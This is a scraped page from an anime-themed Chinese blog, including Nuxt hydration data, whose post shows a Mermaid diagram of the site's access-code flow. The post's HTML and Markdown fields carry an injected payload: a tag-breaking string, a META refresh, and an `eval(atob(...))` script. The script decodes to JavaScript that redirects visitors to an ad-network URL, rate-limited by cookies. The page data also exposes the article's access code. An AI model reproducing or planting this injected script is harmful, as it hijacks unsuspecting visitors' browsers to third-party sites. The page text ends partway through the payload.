正在取一行诗意...

222

作者 yunyu发布 2026年4月8日阅读 1 分钟热度 42 次浏览

时序图

MERMAID
'"><a>'"><a></article></div><!--teleport start--><!--teleport end--><!--]--><section class="overflow-hidden rounded-[28px] border border-slate-200/80 bg-[linear-gradient(180deg,rgba(255,255,255,0.96),rgba(248,250,252,0.92))] p-6 shadow-[0_22px_52px_-36px_rgba(15,23,42,0.18)] dark:border-white/10 dark:bg-[linear-gradient(180deg,rgba(15,23,42,0.82),rgba(2,6,23,0.88))]"><div><h2 class="text-[1.22rem] font-semibold tracking-[-0.03em] [font-family:var(--font-display)] text-slate-950 dark:text-slate-50">隐藏内容</h2></div><div class="pt-5"><div class="rounded-[18px] border border-dashed border-slate-300/80 bg-slate-50/80 px-4 py-4 dark:border-white/12 dark:bg-white/[0.03]"><p class="text-sm text-slate-500 dark:text-slate-400">解锁更多内容</p><div class="mt-4 flex flex-wrap gap-3"><!----><button type="button" class="inline-flex min-h-10 items-center justify-center rounded-full border border-slate-300 bg-white px-4 text-sm font-medium text-slate-700 transition hover:border-sky-300 hover:text-sky-700 dark:border-white/12 dark:bg-white/[0.04] dark:text-slate-200 dark:hover:border-sky-400/30 dark:hover:text-sky-200">输入访问码</button></div></div></div></section><section class="rounded-[28px] border border-slate-200/60 bg-white/78 p-5 shadow-[0_12px_30px_-30px_rgba(15,23,42,0.08)] dark:border-white/8 dark:bg-slate-950/52 sm:p-6"><div class="flex items-center justify-between gap-4 border-b border-slate-200/60 pb-4 dark:border-white/8"><h2 class="text-[1.2rem] font-semibold tracking-[-0.03em] [font-family:var(--font-display)] text-slate-950 dark:text-slate-50"> 评论 </h2><p class="text-sm text-slate-400 dark:text-slate-500">共 0 条</p></div><div class="mt-5"><div class="rounded-[20px] border border-slate-200/60 bg-white/58 p-4 dark:border-white/8 dark:bg-slate-950/34 sm:p-5"><!----><div><div contenteditable="true" data-placeholder="登录后发表评论" class="comment-rich-editor w-full whitespace-pre-wrap break-words rounded-[18px] border border-slate-200/65 bg-white/84 px-4 py-3 text-sm leading-7 text-slate-700 outline-none transition focus:border-sky-300 focus:ring-2 focus:ring-sky-200/50 dark:border-slate-700/80 dark:bg-slate-950/62 dark:text-slate-100 dark:focus:border-sky-600 dark:focus:ring-sky-500/16 rounded-[18px]" style="min-height:164px;" data-v-0366fed6></div></div><div class="mt-4 flex flex-col gap-3 border-t border-slate-200/60 pt-3 dark:border-white/8 sm:flex-row sm:items-center sm:justify-between"><div class="flex min-h-9 flex-wrap items-center gap-2 text-slate-400 dark:text-slate-500"><div class="relative"><button type="button" class="inline-flex size-9 items-center justify-center rounded-full border border-slate-200/80 bg-white text-slate-500 transition hover:border-slate-300 hover:text-slate-900 disabled:cursor-not-allowed disabled:opacity-55 dark:border-white/10 dark:bg-slate-950/60 dark:text-slate-400 dark:hover:border-white/15 dark:hover:text-slate-100"><span class="iconify i-lucide:laugh size-4.5" aria-hidden="true" style=""></span></button><!----></div><!--[--><!--]--><!----></div><div class="flex flex-wrap items-center gap-2"><!----><button type="button" class="inline-flex min-h-10 items-center justify-center rounded-full px-4 text-sm font-medium text-slate-500 transition hover:bg-slate-100 hover:text-slate-900 dark:text-slate-400 dark:hover:bg-white/8 dark:hover:text-slate-100">去登录</button><button type="button" class="inline-flex min-h-10 items-center justify-center rounded-full bg-sky-500 px-5 text-sm font-medium text-white transition hover:bg-sky-600 disabled:cursor-not-allowed disabled:bg-slate-200 disabled:text-slate-500 dark:disabled:bg-slate-800 dark:disabled:text-slate-500">发布评论</button></div></div></div></div><div class="mt-6"><div class="space-y-4"><!--[--><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><div aria-busy="true" aria-label="loading" aria-live="polite" role="alert" class="animate-pulse bg-elevated h-28 rounded-[18px]"><!--[--><!--]--></div><!--]--></div></div></section><section class="relative"><div class="border-b border-slate-200/70 pb-4 dark:border-white/10 sm:pb-5"><p class="text-[0.72rem] font-semibold uppercase tracking-[0.28em] text-sky-600 dark:text-sky-300"> 继续阅读 </p></div><div class="mt-5 grid min-w-0 gap-5 sm:mt-6 lg:grid-cols-2 lg:gap-6"><!--[--><a href="/posts/ceshi-shili" class="group relative min-w-0 cursor-pointer rounded-[20px] p-1.5 transition duration-300 hover:bg-slate-50/78 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/80 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:hover:bg-white/[0.03] dark:focus-visible:ring-sky-400/70 dark:focus-visible:ring-offset-slate-950 sm:rounded-[24px] sm:p-2"><div class="relative overflow-hidden rounded-[18px] border border-slate-200/75 bg-slate-100/80 dark:border-white/10 dark:bg-slate-900/78 sm:rounded-[22px]"><div class="yunyu-image group relative overflow-hidden bg-slate-200/80 dark:bg-slate-800/70 rounded-none aspect-[16/9] h-full w-full" style="" data-v-b8e7c8de><div class="rounded-none opacity-100 yunyu-image__skeleton absolute inset-0" aria-hidden="true" data-v-b8e7c8de></div><!----><img src="https://oss.ideaflow.top/articleCover/d9bab5be2791cefb1d7200d117ed75b51a25c98fab6db990a52e5a1378b4b8f5.webp" alt="测试-md示例" loading="lazy" decoding="async" class="block h-full w-full transition-all duration-500 ease-out dark:brightness-[0.82] rounded-none object-cover h-full w-full object-cover transition duration-500 ease-out group-hover:scale-[1.02] scale-[1.02] opacity-0" data-v-b8e7c8de></div><div class="pointer-events-none absolute inset-0 bg-[linear-gradient(180deg,rgba(15,23,42,0.04)_0%,rgba(15,23,42,0.02)_40%,rgba(15,23,42,0.18)_100%)] dark:bg-[linear-gradient(180deg,rgba(2,6,23,0.02)_0%,rgba(2,6,23,0.06)_38%,rgba(2,6,23,0.3)_100%)]"></div></div><div class="mt-4 flex items-start justify-between gap-3"><div><p class="text-[0.72rem] font-medium text-slate-500 dark:text-slate-400"></p></div><div class="inline-flex h-9 w-9 shrink-0 items-center justify-center text-slate-400 transition group-hover:text-sky-700 dark:text-slate-500 dark:group-hover:text-sky-200"><span class="iconify i-lucide:arrow-up-right size-4" aria-hidden="true" style=""></span></div></div><h3 class="mt-4 text-[clamp(1.06rem,3.8vw,1.38rem)] font-semibold leading-7 tracking-[-0.03em] [font-family:var(--font-display)] [text-wrap:balance] text-slate-950 transition group-hover:text-sky-700 dark:text-slate-50 dark:group-hover:text-sky-200">测试-md示例</h3><p class="mt-3 line-clamp-3 text-[0.9rem] leading-7 text-slate-500 dark:text-slate-400"></p><div class="mt-5 flex flex-wrap gap-2.5 text-[0.72rem] text-slate-400 dark:text-slate-500"><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:calendar-days size-3.5" aria-hidden="true" style=""></span><span>2026年4月3日</span></span><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:clock-3 size-3.5" aria-hidden="true" style=""></span><span>10 分钟阅读</span></span></div></a><a href="/posts/spring-2026-first-five" class="group relative min-w-0 cursor-pointer rounded-[20px] p-1.5 transition duration-300 hover:bg-slate-50/78 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sky-300/80 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:hover:bg-white/[0.03] dark:focus-visible:ring-sky-400/70 dark:focus-visible:ring-offset-slate-950 sm:rounded-[24px] sm:p-2"><div class="relative overflow-hidden rounded-[18px] border border-slate-200/75 bg-slate-100/80 dark:border-white/10 dark:bg-slate-900/78 sm:rounded-[22px]"><div class="yunyu-image group relative overflow-hidden bg-slate-200/80 dark:bg-slate-800/70 rounded-none aspect-[16/9] h-full w-full" style="" data-v-b8e7c8de><div class="rounded-none opacity-100 yunyu-image__skeleton absolute inset-0" aria-hidden="true" data-v-b8e7c8de></div><!----><img src="https://s3.hi168.com/hi168-29272-3320gqns/test/6688.jpeg" alt="2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选" loading="lazy" decoding="async" class="block h-full w-full transition-all duration-500 ease-out dark:brightness-[0.82] rounded-none object-cover h-full w-full object-cover transition duration-500 ease-out group-hover:scale-[1.02] scale-[1.02] opacity-0" data-v-b8e7c8de></div><div class="pointer-events-none absolute inset-0 bg-[linear-gradient(180deg,rgba(15,23,42,0.04)_0%,rgba(15,23,42,0.02)_40%,rgba(15,23,42,0.18)_100%)] dark:bg-[linear-gradient(180deg,rgba(2,6,23,0.02)_0%,rgba(2,6,23,0.06)_38%,rgba(2,6,23,0.3)_100%)]"></div></div><div class="mt-4 flex items-start justify-between gap-3"><div><p class="text-[0.72rem] font-medium text-slate-500 dark:text-slate-400">新番观察</p></div><div class="inline-flex h-9 w-9 shrink-0 items-center justify-center text-slate-400 transition group-hover:text-sky-700 dark:text-slate-500 dark:group-hover:text-sky-200"><span class="iconify i-lucide:arrow-up-right size-4" aria-hidden="true" style=""></span></div></div><h3 class="mt-4 text-[clamp(1.06rem,3.8vw,1.38rem)] font-semibold leading-7 tracking-[-0.03em] [font-family:var(--font-display)] [text-wrap:balance] text-slate-950 transition group-hover:text-sky-700 dark:text-slate-50 dark:group-hover:text-sky-200">2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选</h3><p class="mt-3 line-clamp-3 text-[0.9rem] leading-7 text-slate-500 dark:text-slate-400">如果你只想先追 5 部作品,这篇会按情绪浓度、画面完成度和追更压力给出最稳妥的入场顺序。</p><div class="mt-5 flex flex-wrap gap-2.5 text-[0.72rem] text-slate-400 dark:text-slate-500"><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:calendar-days size-3.5" aria-hidden="true" style=""></span><span>2026年3月27日</span></span><span class="inline-flex items-center gap-1.5 rounded-full border border-slate-200/75 bg-slate-50/88 px-3 py-1.5 dark:border-white/10 dark:bg-white/[0.04]"><span class="iconify i-lucide:clock-3 size-3.5" aria-hidden="true" style=""></span><span>1 分钟阅读</span></span></div></a><!--]--></div></section></div><!----></div></section><!----><!----><!----><!--[--><!----><!----><!--v-if--><!--]--><!--[--><!----><!----><!--v-if--><!--]--></main><!--]--><footer class="border-t border-white/60 bg-white/72 dark:border-white/10 dark:bg-slate-950/70"><div class="mx-auto flex max-w-[1360px] flex-col gap-3 px-5 py-8 text-sm text-slate-500 sm:px-8 lg:px-10 dark:text-slate-400 md:flex-row md:items-center md:justify-between"><p>云屿 Yunyu · 用更柔软的方式整理动画内容222</p><div class="flex items-center gap-4"><a href="/posts" class="hover:text-slate-900 dark:hover:text-slate-50">文章</a><a href="/categories" class="hover:text-slate-900 dark:hover:text-slate-50">分类</a><a href="/tags" class="hover:text-slate-900 dark:hover:text-slate-50">标签</a><a href="/topics" class="hover:text-slate-900 dark:hover:text-slate-50">专题</a></div></div></footer></div><!--]--><!--]--><!--[--><!--]--><!--v-if--><!--]--><!--[--><!--]--><!--]--><!--]--></div><div id="teleports"></div><script>window.__NUXT__={};window.__NUXT__.config={public:{apiBase:"https://yunyu-server-native.ideaflow.top"},app:{baseURL:"/",buildId:"8b6c3828-55b7-4edc-9d5a-2bba62e80722",buildAssetsDir:"/_nuxt/",cdnURL:""}}</script><script type="application/json" data-nuxt-data="nuxt-app" data-ssr="true" id="__NUXT_DATA__">[["ShallowReactive",1],{"data":2,"state":113,"once":119,"_errors":120,"serverRendered":14,"path":122},["ShallowReactive",3],{"site-base-info":4,"site-post-222":13},{"defaultDescription":5,"defaultTitle":6,"faviconUrl":7,"footerText":8,"logoUrl":7,"primaryColor":9,"secondaryColor":10,"siteName":11,"siteSubTitle":12},"聚焦新番观察、场景美学、角色成长与专题化内容组织的动漫风格内容站。","云屿 Yunyu - 个人博客","","云屿 Yunyu · 用更柔软的方式整理动画内容222","#38BDF8","#FB923C","云屿","在二次元场景与情绪里漫游的内容站",{"allowComment":14,"authorAvatarUrl":7,"authorName":15,"categoryName":7,"categorySlug":7,"commentCount":16,"contentAccessConfig":17,"contentAccessState":28,"contentHtml":34,"contentMarkdown":35,"contentTocJson":36,"coverUrl":7,"id":37,"likeCount":16,"publishedAt":38,"readingMinutes":27,"relatedPosts":39,"seoDescription":107,"seoTitle":107,"slug":108,"summary":108,"tagNames":109,"tailHiddenContentHtml":7,"tailHiddenTitle":26,"title":108,"topicNames":111,"videoUrl":7,"viewCount":112},true,"yunyu",0,{"articleAccess":18,"tailHiddenAccess":23,"version":27},{"articleAccessCode":19,"articleAccessCodeHint":20,"enabled":21,"ruleTypes":22},"12345","解锁更多内容",false,[],{"enabled":14,"ruleTypes":24,"title":26},[25],"ACCESS_CODE","隐藏内容",1,{"articleAccessAllowed":14,"articleAccessPendingRuleTypes":29,"articleAccessRuleTypes":30,"loggedIn":21,"tailHiddenAccessAllowed":21,"tailHiddenAccessPendingRuleTypes":31,"tailHiddenAccessRuleTypes":32,"wechatAccessCodeEnabled":21,"wechatAccessCodeHint":33,"wechatQrCodeUrl":7},[],[],[25],[25],"关注公众号后输入访问验证码","\u003Cp>时序图\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-diagram-block\"\n data-diagram-engine=\"mermaid\"\n data-diagram-rendered=\"false\"\n data-diagram-scale=\"1\"\n>\n \u003Cdiv class=\"yy-md-diagram-toolbar\">\n \u003Cdiv class=\"yy-md-diagram-toolbar-meta\">\n \u003Cspan class=\"yy-md-diagram-language-pill\">MERMAID\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-diagram-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-diagram-action\" data-diagram-zoom-out aria-label=\"缩小图表\" title=\"缩小图表\">\n \u003Cspan data-diagram-icon-host=\"zoom-out\" aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-diagram-action\" data-diagram-zoom-reset aria-label=\"还原图表比例\" title=\"还原图表比例\">\n \u003Cspan data-diagram-icon-host=\"zoom-reset\" aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-diagram-action\" data-diagram-zoom-in aria-label=\"放大图表\" title=\"放大图表\">\n \u003Cspan data-diagram-icon-host=\"zoom-in\" aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-diagram-canvas\" aria-live=\"polite\">\u003C\u002Fdiv>\n \u003Cpre class=\"yy-md-diagram-fallback\" hidden>sequenceDiagram\n autonumber\n participant B as 浏览器 \u002F 详情页\n participant A as 站点接口<br\u002F>\u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n participant S as SiteContentService\n participant G as ContentAccessGrantService\n participant D as post \u002F post_content \u002F content_access_grant\n\n B->>A: GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n Note over B,A: 请求文章详情\n A->>A: 解析可选登录态 + 生成访客指纹\n A->>S: getPostDetail(slug, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>G: 计算文章级 pendingRules\n S->>S: 提取文章级已满足规则类型\n S->>G: 计算隐藏内容级 pendingRules\\n(继承文章级已满足的同类型规则)\n G->>D: 查询 content_access_grant\n D-->>G: 返回授权结果\n G-->>S: 返回规则命中情况\n S-->>A: 返回 contentHtml \u002F tailHiddenContentHtml \u002F contentAccessState\n A-->>B: articleAccessAllowed \u002F pendingRules \u002F 正文内容\n\n alt 文章级未通过\n B->>B: 只显示当前最高优先级规则\n alt 当前规则是 LOGIN\n B->>B: 跳转 \u002Flogin?redirect=当前详情页\n B->>A: 登录后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 当前规则是 ACCESS_CODE 或 WECHAT_ACCESS_CODE\n B->>A: POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n Note over B,A: 提交 accessCode + scopeType + ruleType\n A->>A: 再次解析可选登录态 + 生成访客指纹\n A->>S: verifyContentAccess(slug, request, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>S: 校验规则是否启用 + 校验验证码\n S->>G: grantAccess(scope, postId, ruleType, userId, visitorIdHash)\n G->>D: 写入或刷新 content_access_grant(7天)\n D-->>G: 写入成功\n G-->>S: 授权完成\n S-->>A: 返回最新 contentAccessState\n A-->>B: granted = true\n B->>A: 再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n end\n else 文章级已通过\n B->>B: 展示正文内容\n alt 尾部隐藏内容未通过\n B->>B: 仅提示隐藏内容尚未完成的新增规则\n B->>A: 按需 POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n B->>A: 校验成功后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 尾部隐藏内容也通过\n B->>B: 正文下方展示尾部隐藏内容\n end\n B->>B: 评论区显示在隐藏内容模块下方\n end\n\u003C\u002Fpre>\n \u003Cdiv class=\"yy-md-diagram-source\" hidden>sequenceDiagram\n autonumber\n participant B as 浏览器 \u002F 详情页\n participant A as 站点接口<br\u002F>\u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n participant S as SiteContentService\n participant G as ContentAccessGrantService\n participant D as post \u002F post_content \u002F content_access_grant\n\n B->>A: GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n Note over B,A: 请求文章详情\n A->>A: 解析可选登录态 + 生成访客指纹\n A->>S: getPostDetail(slug, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>G: 计算文章级 pendingRules\n S->>S: 提取文章级已满足规则类型\n S->>G: 计算隐藏内容级 pendingRules\\n(继承文章级已满足的同类型规则)\n G->>D: 查询 content_access_grant\n D-->>G: 返回授权结果\n G-->>S: 返回规则命中情况\n S-->>A: 返回 contentHtml \u002F tailHiddenContentHtml \u002F contentAccessState\n A-->>B: articleAccessAllowed \u002F pendingRules \u002F 正文内容\n\n alt 文章级未通过\n B->>B: 只显示当前最高优先级规则\n alt 当前规则是 LOGIN\n B->>B: 跳转 \u002Flogin?redirect=当前详情页\n B->>A: 登录后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 当前规则是 ACCESS_CODE 或 WECHAT_ACCESS_CODE\n B->>A: POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n Note over B,A: 提交 accessCode + scopeType + ruleType\n A->>A: 再次解析可选登录态 + 生成访客指纹\n A->>S: verifyContentAccess(slug, request, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>S: 校验规则是否启用 + 校验验证码\n S->>G: grantAccess(scope, postId, ruleType, userId, visitorIdHash)\n G->>D: 写入或刷新 content_access_grant(7天)\n D-->>G: 写入成功\n G-->>S: 授权完成\n S-->>A: 返回最新 contentAccessState\n A-->>B: granted = true\n B->>A: 再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n end\n else 文章级已通过\n B->>B: 展示正文内容\n alt 尾部隐藏内容未通过\n B->>B: 仅提示隐藏内容尚未完成的新增规则\n B->>A: 按需 POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n B->>A: 校验成功后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 尾部隐藏内容也通过\n B->>B: 正文下方展示尾部隐藏内容\n end\n B->>B: 评论区显示在隐藏内容模块下方\n end\n\u003C\u002Fdiv>\n\u003C\u002Fdiv>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvbnRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","时序图\n```mermaid\nsequenceDiagram\n autonumber\n participant B as 浏览器 \u002F 详情页\n participant A as 站点接口\u003Cbr\u002F>\u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n participant S as SiteContentService\n participant G as ContentAccessGrantService\n participant D as post \u002F post_content \u002F content_access_grant\n\n B->>A: GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n Note over B,A: 请求文章详情\n A->>A: 解析可选登录态 + 生成访客指纹\n A->>S: getPostDetail(slug, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>G: 计算文章级 pendingRules\n S->>S: 提取文章级已满足规则类型\n S->>G: 计算隐藏内容级 pendingRules\\n(继承文章级已满足的同类型规则)\n G->>D: 查询 content_access_grant\n D-->>G: 返回授权结果\n G-->>S: 返回规则命中情况\n S-->>A: 返回 contentHtml \u002F tailHiddenContentHtml \u002F contentAccessState\n A-->>B: articleAccessAllowed \u002F pendingRules \u002F 正文内容\n\n alt 文章级未通过\n B->>B: 只显示当前最高优先级规则\n alt 当前规则是 LOGIN\n B->>B: 跳转 \u002Flogin?redirect=当前详情页\n B->>A: 登录后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 当前规则是 ACCESS_CODE 或 WECHAT_ACCESS_CODE\n B->>A: POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n Note over B,A: 提交 accessCode + scopeType + ruleType\n A->>A: 再次解析可选登录态 + 生成访客指纹\n A->>S: verifyContentAccess(slug, request, visitorId)\n S->>D: 查询 post \u002F post_content\n S->>S: 校验规则是否启用 + 校验验证码\n S->>G: grantAccess(scope, postId, ruleType, userId, visitorIdHash)\n G->>D: 写入或刷新 content_access_grant(7天)\n D-->>G: 写入成功\n G-->>S: 授权完成\n S-->>A: 返回最新 contentAccessState\n A-->>B: granted = true\n B->>A: 再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n end\n else 文章级已通过\n B->>B: 展示正文内容\n alt 尾部隐藏内容未通过\n B->>B: 仅提示隐藏内容尚未完成的新增规则\n B->>A: 按需 POST \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\u002Faccess\u002Fverify\n B->>A: 校验成功后再次 GET \u002Fapi\u002Fsite\u002Fposts\u002F{slug}\n else 尾部隐藏内容也通过\n B->>B: 正文下方展示尾部隐藏内容\n end\n B->>B: 评论区显示在隐藏内容模块下方\n end\n```'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvb